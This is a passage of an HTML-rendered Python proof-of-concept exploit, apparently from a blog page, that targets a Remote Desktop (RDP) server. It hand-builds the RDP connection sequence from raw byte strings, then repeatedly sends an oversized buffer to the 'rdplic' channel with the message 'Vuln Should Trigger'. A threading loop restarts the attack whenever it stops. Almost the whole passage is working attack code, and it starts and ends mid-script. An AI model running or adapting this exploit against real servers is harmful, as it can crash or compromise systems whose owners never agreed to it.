xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00\x04\x00\x00\x00\x72\x64\x70\x73\x6e\x64\x00\x00\x0f\x00\x00\xc0\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0\x64\x72\x64\x79\x6e\x76\x63\x00\x00\x00\x80\xc0&quot;</span>+<span class="string">&#x27;rdplic\x00\x00&#x27;</span>+<span class="string">&quot;\x00\x00\x00\x00&quot;</span>+p2</span><br><span class="line">    tpkt_size = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p))</span><br><span class="line">    ber_size = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p)-<span class="number">12</span>)</span><br><span class="line">    initial_userdata_size = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p)-<span class="number">109</span>)</span><br><span class="line">    connectPDU_size = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p)-<span class="number">118</span>)</span><br><span class="line">    userdata_value_size = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p)-<span class="number">132</span>)</span><br><span class="line">    cs_net_size = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p)-<span class="number">390</span> - <span class="built_in">len</span>(p2))</span><br><span class="line">    ba = <span class="built_in">bytearray</span>()</span><br><span class="line">    ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, p))</span><br><span class="line">    ba[<span class="number">2</span>] = tpkt_size[<span class="number">0</span>]</span><br><span class="line">    ba[<span class="number">3</span>] = tpkt_size[<span class="number">1</span>]</span><br><span class="line">    ba[<span class="number">10</span>] = ber_size[<span class="number">0</span>]</span><br><span class="line">    ba[<span class="number">11</span>] = ber_size[<span class="number">1</span>]</span><br><span class="line">    ba[<span class="number">107</span>] = initial_userdata_size[<span class="number">0</span>]</span><br><span class="line">    ba[<span class="number">108</span>] = initial_userdata_size[<span class="number">1</span>]</span><br><span class="line">    ba[<span class="number">116</span>] = <span class="number">0x81</span></span><br><span class="line">    ba[<span class="number">117</span>] = connectPDU_size[<span class="number">1</span>] </span><br><span class="line">    ba[<span class="number">130</span>] = <span class="number">0x81</span></span><br><span class="line">    ba[<span class="number">131</span>] = userdata_value_size[<span class="number">1</span>]</span><br><span class="line">    ba[<span class="number">392</span>] = cs_net_size[<span class="number">1</span>]</span><br><span class="line">    tls.sendall(<span class="built_in">bytes</span>(ba))</span><br><span class="line">    tls.recv(<span class="number">8192</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_client_info</span>(<span class="params">tls</span>):</span><br><span class="line">    p = <span class="string">b&quot;\x03\x00\x01\x61\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x52\x40\x00\xa1\xa5\x09\x04\x09\x04\xbb\x47\x03\x00\x00\x00\x0e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x41\x41\x41\x00\x38\x00\x2e\x00\x32\x00\x33\x00\x32\x00\x2e\x00\x31\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x41\x41\x41\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00&quot;</span></span><br><span class="line">    tls.sendall(p)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_channel_packets</span>(<span class="params">tls</span>):</span><br><span class="line">    p1 = <span class="string">b&quot;\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00&quot;</span></span><br><span class="line">    tls.sendall(p1)</span><br><span class="line">    p2 = <span class="string">b&quot;\x03\x00\x00\x08\x02\xf0\x80\x28&quot;</span></span><br><span class="line">    tls.sendall(p2)</span><br><span class="line">    tls.recv(<span class="number">1024</span>)</span><br><span class="line">    p4 = <span class="string">b&quot;\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xeb&quot;</span></span><br><span class="line">    tls.sendall(p4)</span><br><span class="line">    tls.recv(<span class="number">1024</span>)</span><br><span class="line">    p5 = <span class="string">b&quot;\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xec&quot;</span></span><br><span class="line">    tls.sendall(p5)</span><br><span class="line">    tls.recv(<span class="number">1024</span>)</span><br><span class="line">    p6 = <span class="string">b&quot;\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xed&quot;</span></span><br><span class="line">    tls.sendall(p6)</span><br><span class="line">    tls.recv(<span class="number">1024</span>)</span><br><span class="line">    p7 = <span class="string">b&quot;\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xee&quot;</span></span><br><span class="line">    tls.sendall(p7)</span><br><span class="line">    tls.recv(<span class="number">1024</span>)</span><br><span class="line">    p8 = <span class="string">b&quot;\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xef&quot;</span></span><br><span class="line">    tls.sendall(p8)</span><br><span class="line">    tls.recv(<span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_confirm_active</span>(<span class="params">tls, shareid</span>):</span><br><span class="line">    p = <span class="string">&quot;\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04&quot;</span></span><br><span class="line">    ba = <span class="built_in">bytearray</span>()</span><br><span class="line">    ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, p))</span><br><span class="line">    tls.sendall(<span class="built_in">bytes</span>(ba))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_establish_session</span>(<span class="params">tls</span>):</span><br><span class="line">    p = <span class="string">b&quot;\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00\x01\x00\xea\x03&quot;</span></span><br><span class="line">    tls.sendall(p)</span><br><span class="line">    p = <span class="string">b&quot;\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00&quot;</span></span><br><span class="line">    tls.sendall(p)</span><br><span class="line">    p = <span class="string">b&quot;\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00&quot;</span></span><br><span class="line">    tls.sendall(p)</span><br><span class="line">    p = <span class="string">b&quot;\x03\x00\x05\x81\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x85\x72\x72\x05\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x2b\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x02\x00\x00\x00\xa3\xce\x20\x35\xdb\x94\xa5\xe6\x0d\xa3\x8c\xfb\x64\xb7\x63\xca\xe7\x9a\x84\xc1\x0d\x67\xb7\x91\x76\x71\x21\xf9\x67\x96\xc0\xa2\x77\x5a\xd8\xb2\x74\x4f\x30\x35\x2b\xe7\xb0\xd2\xfd\x81\x90\x1a\x8f\xd5\x5e\xee\x5a\x6d\xcb\xea\x2f\xa5\x2b\x06\xe9\x0b\x0b\xa6\xad\x01\x2f\x7a\x0b\x7c\xff\x89\xd3\xa3\xe1\xf8\x00\x96\xa6\x8d\x9a\x42\xfc\xab\x14\x05\x8f\x16\xde\xc8\x05\xba\xa0\xa8\xed\x30\xd8\x67\x82\xd7\x9f\x84\xc3\x38\x27\xda\x61\xe3\xa8\xc3\x65\xe6\xec\x0c\xf6\x36\x24\xb2\x0b\xa6\x17\x1f\x46\x30\x16\xc7\x73\x60\x14\xb5\xf1\x3a\x3c\x95\x7d\x7d\x2f\x74\x7e\x56\xff\x9c\xe0\x01\x32\x9d\xf2\xd9\x35\x5e\x95\x78\x2f\xd5\x15\x6c\x18\x34\x0f\x43\xd7\x2b\x97\xa9\xb4\x28\xf4\x73\x6c\x16\xdb\x43\xd7\xe5\x58\x0c\x5a\x03\xe3\x73\x58\xd7\xd9\x76\xc2\xfe\x0b\xd7\xf4\x12\x43\x1b\x70\x6d\x74\xc2\x3d\xf1\x26\x60\x58\x80\x31\x07\x0e\x85\xa3\x95\xf8\x93\x76\x99\x9f\xec\xa0\xd4\x95\x5b\x05\xfa\x4f\xdf\x77\x8a\x7c\x29\x9f\x0b\x4f\xa1\xcb\xfa\x95\x66\xba\x47\xe3\xb0\x44\xdf\x83\x03\x44\x24\xf4\x1e\xf2\xe5\xcb\xa9\x53\x04\xc2\x76\xcb\x4d\xc6\xc2\xd4\x3f\xd3\x8c\xb3\x7c\xf3\xaa\xf3\x93\xfe\x25\xbd\x32\x7d\x48\x6e\x93\x96\x68\xe5\x18\x2b\xea\x84\x25\x69\x02\xa5\x38\x65\x6f\x0f\x9f\xf6\xa1\x3a\x1d\x22\x9d\x3f\x6d\xe0\x4c\xee\x8b\x24\xf0\xdc\xff\x70\x52\xa7\x0d\xf9\x52\x8a\x1e\x33\x1a\x30\x11\x15\xd7\xf8\x95\xa9\xbb\x74\x25\x8c\xe3\xe9\x93\x07\x43\xf5\x50\x60\xf7\x96\x2e\xd3\xff\x63\xe0\xe3\x24\xf1\x10\x3d\x8e\x0f\x56\xbc\x2e\xb8\x90\x0c\xfa\x4b\x96\x68\xfe\x59\x68\x21\xd0\xff\x52\xfe\x5c\x7d\x90\xd4\x39\xbe\x47\x9d\x8e\x7a\xaf\x95\x4f\x10\xea\x7b\x7a\xd3\xca\x07\x28\x3e\x4e\x4b\x81\x0e\xf1\x5f\x1f\x8d\xbe\x06\x40\x27\x2f\x4a\x03\x80\x32\x67\x54\x2f\x93\xfd\x25\x5d\x6d\xa0\xad\x23\x45\x72\xff\xd1\xeb\x5b\x51\x75\xa7\x61\xe0\x3f\xe4\xef\xf4\x96\xcd\xa5\x13\x8a\xe6\x52\x74\x70\xbf\xc1\xf9\xfb\x68\x9e\xdd\x72\x8f\xb4\x44\x5f\x3a\xcb\x75\x2a\x20\xa6\x69\xd2\x76\xf9\x57\x46\x2b\x5b\xda\xba\x0f\x9b\xe0\x60\xe1\x8b\x90\x33\x41\x0a\x2d\xc5\x06\xfe\xd0\xf0\xfc\xde\x35\xd4\x1e\xaa\x76\x0b\xae\xf4\xd5\xbd\xfa\xf3\x55\xf5\xc1\x67\x65\x75\x1c\x1d\x5e\xe8\x3a\xfe\x54\x50\x23\x04\xae\x2e\x71\xc2\x76\x97\xe6\x39\xc6\xb2\x25\x87\x92\x63\x52\x61\xd1\x6c\x07\xc1\x1c\x00\x30\x0d\xa7\x2f\x55\xa3\x4f\x23\xb2\x39\xc7\x04\x6c\x97\x15\x7a\xd7\x24\x33\x91\x28\x06\xa6\xe7\xc3\x79\x5c\xae\x7f\x50\x54\xc2\x38\x1e\x90\x23\x1d\xd0\xff\x5a\x56\xd6\x12\x91\xd2\x96\xde\xcc\x62\xc8\xee\x9a\x44\x07\xc1\xec\xf7\xb6\xd9\x9c\xfe\x30\x1c\xdd\xb3\x3b\x93\x65\x3c\xb4\x80\xfb\xe3\x87\xf0\xee\x42\xd8\xcf\x08\x98\x4d\xe7\x6b\x99\x0a\x43\xed\x13\x72\x90\xa9\x67\xfd\x3c\x63\x36\xec\x55\xfa\xf6\x1f\x35\xe7\x28\xf3\x87\xa6\xce\x2e\x34\xaa\x0d\xb2\xfe\x17\x18\xa2\x0c\x4e\x5f\xf0\xd1\x98\x62\x4a\x2e\x0e\xb0\x8d\xb1\x7f\x32\x52\x8e\x87\xc9\x68\x7c\x0c\xef\xee\x88\xae\x74\x2a\x33\xff\x4b\x4d\xc5\xe5\x18\x38\x74\xc7\x28\x83\xf7\x72\x87\xfc\x79\xfb\x3e\xce\xd0\x51\x13\x2d\x7c\xb4\x58\xa2\xe6\x28\x67\x4f\xec\xa6\x81\x6c\xf7\x9a\x29\xa6\x3b\xca\xec\xb8\xa1\x27\x50\xb7\xef\xfc\x81\xbf\x5d\x86\x20\x94\xc0\x1a\x0c\x41\x50\xa9\x5e\x10\x4a\x82\xf1\x74\x1f\x78\x21\xf5\x70\x61\x24\x00\x3d\x47\x5f\xf3\x25\x80\x3c\x4b\xea\xa3\xf4\x77\xea\xa1\x42\x1a\x17\x0f\x6d\xa8\x35\x9e\x91\x26\x34\x43\x04\xc6\xc6\x5b\x21\x7d\x8c\xc7\x22\x91\x7b\x2c\x2d\x2f\xd6\x7e\xa5\x52\xa8\x08\x80\xeb\x60\xd1\x44\x09\x8e\x3c\xa1\xaa\x67\x60\x0a\x26\xc6\xb5\xc6\x79\xa6\x4f\x8b\x8c\x25\x5c\xf1\x0b\x23\xf4\xd8\xa6\x6d\xf1\x91\x78\xf9\xe5\x2a\x50\x2f\x5a\x44\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x77\x5a\xd8\xb2\x74\x4f\x30\x35\xbf\x28\xae\xd9\xa2\x98\xa5\xbc\x60\xca\xb8\x90\x4d\x20\x46\xd9\x8a\x1a\x30\x01\x8b\x38\x63\x1a\x57\x09\x51\x46\x95\x9b\xd8\x80\x0c\xb0\x77\x24\xbf\x2b\xd3\x57\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x56\x92\x38\xed\x6b\x9b\x5b\x1f\xba\x53\xa1\x0e\xf7\x75\x10\x53\x22\x4c\x0a\x75\x88\x54\x69\x3f\x3b\xf3\x18\x67\x6b\x0f\x19\xd1\x00\x25\x86\xcd\xa8\xd9\xdd\x1d\x8d\x26\x87\x54\xd9\x79\xc0\x74\x65\x90\xd7\x33\x32\xaf\xba\x9d\x5a\xd5\x6c\x7c\xa1\x47\xe1\x49\x6e\x1c\xce\x9f\x62\xaa\x26\x16\x3f\x3c\xec\x5b\x49\xe5\xc0\x60\xd4\xbe\xa7\x88\xbc\xa1\x9f\x29\x71\x8c\xeb\x69\xf8\x73\xfb\xaf\x29\xaa\x40\x1b\xe5\x92\xd2\x77\xa7\x2b\xfb\xb6\x77\xb7\x31\xfb\xdc\x1e\x63\x63\x7d\xf2\xfe\x3c\x6a\xba\x0b\x20\xcb\x9d\x64\xb8\x31\x14\xe2\x70\x07\x2c\xdf\x9c\x6f\xb5\x3a\xc4\xd5\xb5\xc9\x3e\x9a\xd7\xd5\x30\xdc\x0e\x19\x89\xc6\x08\x88\xe1\xca\x81\xa6\x28\xdd\x9c\x74\x05\x11\xe7\xe1\xcc\xbc\xc7\x76\xdd\x55\xe2\xcc\xc2\xcb\xd3\xb6\x48\x01\xdd\xff\xba\xca\x31\xab\x26\x44\x1c\xdc\x06\x01\xdf\xf2\x90\x50\xb8\x6b\x8f\xe8\x29\xf0\xba\xec\xfb\x2d\xfd\x7a\xfc\x7f\x57\xbd\xea\x90\xf7\xcf\x92\x1e\xc4\x20\xd0\xb6\x9f\xd6\xdc\xa1\x82\xa9\x6c\x5e\x3e\x83\x41\x57\x73\xe9\xe7\x5a\x3f\xda\x24\x4f\x73\x5e\xf4\xe0\x92\x24\xbd\x0b\xd0\x3c\x49\x96\xb5\xb5\x05\x32\xcb\x58\x1d\x6f\x97\x51\xee\x0c\xdc\x0b\x2a\x60\xef\x97\x3e\x5a\x30\x81\x15\x91\xcf\x11\x07\x25\x2c\x41\xdb\x70\x72\xe1\x75\xf6\xa5\xff\xe8\x44\xe7\x03\xe3\x61\xaa\xdb\xe0\x07\x3d\x07\x0b\xe3\x5c\x09\xa9\x5e\x10\xfd\xcf\x74\x9e\x23\xf1\x30\x86\x16\xef\x25\x4e\xfe\xa4\x93\xa5\x80\x0a\x01\x39\xcc\x11\x7a\x6e\x94\x22\x5b\xd8\xc6\xc9\xa8\xdf\x13\x96\xb3\x91\x33\x6e\x87\xbb\x94\x63\x2d\x88\x64\xa7\x58\x89\xda\xdc\x7f\x2a\xe3\xa1\x66\xe5\xc8\x7f\xc2\xdb\xc7\x7d\x2f\xa9\x46\x28\x45\x69\xbc\xac\x9f\x85\x9e\xb0\x9f\x9a\x49\xb4\xb1\xcb&quot;</span></span><br><span class="line">    <span class="comment"># SBC_HandlePersistentCacheList</span></span><br><span class="line">    tls.sendall(p)</span><br><span class="line">    p = <span class="string">b&quot;\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00&quot;</span> <span class="comment"># USR_ProcessRemoteFonts</span></span><br><span class="line">    tls.sendall(p)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_data_to_rdplic</span>(<span class="params">tls, arch</span>):</span><br><span class="line">    <span class="keyword">if</span> arch == <span class="string">&quot;32&quot;</span>:</span><br><span class="line">        p = <span class="string">b&quot;\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span></span><br><span class="line">    <span class="keyword">elif</span> arch == <span class="string">&quot;64&quot;</span>:</span><br><span class="line">        p = <span class="string">b&quot;\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14&quot;</span></span><br><span class="line">        p1 = <span class="string">b&quot;\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x00&quot;</span></span><br><span class="line">        p2 = <span class="string">&quot;\x04\x00\x00\x00\x03\x00\x00\x00&quot;</span>+<span class="string">&quot;\x50\x00\x03\x00&quot;</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Make the second arguement &#x27;32&#x27; or &#x27;64&#x27; without quotes&quot;</span>)</span><br><span class="line">        sys.exit()</span><br><span class="line">    ba = <span class="built_in">bytearray</span>()</span><br><span class="line">    ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, p+p2))</span><br><span class="line">    <span class="comment"># # tpkt len</span></span><br><span class="line">    ba[<span class="number">2</span>] = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p+p2))[<span class="number">0</span>]</span><br><span class="line">    ba[<span class="number">3</span>] = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p+p2))[<span class="number">1</span>]</span><br><span class="line">    <span class="comment"># # # MCSi len</span></span><br><span class="line">    ba[<span class="number">7</span>+<span class="number">6</span>] = <span class="built_in">len</span>(p2)</span><br><span class="line">    tls.sendall(<span class="built_in">bytes</span>(ba))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># trigger</span></span><br><span class="line">    p3 = <span class="string">&quot;\x04\x00\x00\x00\x03\x00\x00\x00&quot;</span>+<span class="string">&quot;\x30\x16&quot;</span>+<span class="string">&#x27;\x00\x00&#x27;</span>+struct.pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x500</span>)+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x500</span></span><br><span class="line">    bb = <span class="built_in">bytearray</span>()</span><br><span class="line">    bb.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, p1+p3))</span><br><span class="line">    <span class="comment"># # tpkt len</span></span><br><span class="line">    bb[<span class="number">2</span>] = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p1+p3))[<span class="number">0</span>]</span><br><span class="line">    bb[<span class="number">3</span>] = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="built_in">len</span>(p1+p3))[<span class="number">1</span>]</span><br><span class="line">    <span class="comment"># # # MCSi len</span></span><br><span class="line">    bb[<span class="number">7</span>+<span class="number">6</span>] = (<span class="built_in">len</span>(p3)&gt;&gt;<span class="number">8</span>)|<span class="number">0x80</span></span><br><span class="line">    bb[<span class="number">7</span>+<span class="number">7</span>] = <span class="built_in">len</span>(p3)&amp;<span class="number">0xff</span></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        tls.sendall(<span class="built_in">bytes</span>(bb))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">IP = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="keyword">global</span> IP</span><br><span class="line">    tls = send_init_packets(IP)</span><br><span class="line"></span><br><span class="line">    send_client_data(tls)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] ClientData Packet Sent&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    send_channel_packets(tls)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] ChannelJoin/ErectDomain/AttachUser Sent&quot;</span>)</span><br><span class="line"></span><br><span class="line">    send_client_info(tls)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] ClientInfo Packet Sent&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># print &quot;try recv&quot;</span></span><br><span class="line">    <span class="comment"># tls.recv(8192)</span></span><br><span class="line">    <span class="comment"># print &quot;try recv&quot;</span></span><br><span class="line">    <span class="comment"># tls.recv(8192)</span></span><br><span class="line">    <span class="keyword">import</span> time</span><br><span class="line">    time.sleep(<span class="number">5</span>) <span class="comment"># Magic action! I don&#x27;t know why server won&#x27;t response correctly, but this works.</span></span><br><span class="line"></span><br><span class="line">    send_confirm_active(tls, <span class="literal">None</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] ConfirmActive Packet Sent&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    send_establish_session(tls)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] Session Established&quot;</span>)</span><br><span class="line"></span><br><span class="line">    send_data_to_rdplic(tls, <span class="string">&#x27;64&#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] Vuln Should Trigger&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">checkThread</span>(<span class="params">sleeptimes=<span class="number">2</span>,initThreadsName=[]</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">10080</span>):<span class="comment">#循环运行</span></span><br><span class="line">        nowThreadsName=[]<span class="comment">#用来保存当前线程名称</span></span><br><span class="line">        now=threading.<span class="built_in">enumerate</span>()<span class="comment">#获取当前线程名</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> now:</span><br><span class="line">            nowThreadsName.append(i.getName())<span class="comment">#保存当前线程名称</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> ip <span class="keyword">in</span> initThreadsName:</span><br><span class="line">            <span class="keyword">if</span>  ip <span class="keyword">in</span> nowThreadsName:</span><br><span class="line">                <span class="keyword">pass</span> <span class="comment">#当前某线程名包含在初始化线程组中，可以认为线程仍在运行</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;===&#x27;</span>+ip,<span class="string">&#x27;stopped，now restart&#x27;</span></span><br><span class="line">                t=threading.Thread(target=main,args=())<span class="comment">#重启线程</span></span><br><span class="line">                t.setName(ip)<span class="comment">#重设name</span></span><br><span class="line">                t.start()</span><br><span class="line">        time.sleep(sleeptimes)<span class="comment">#隔一段时间重新运行，检测有没有线程down</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) !=<span class="number">2</span>:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;python poc.py 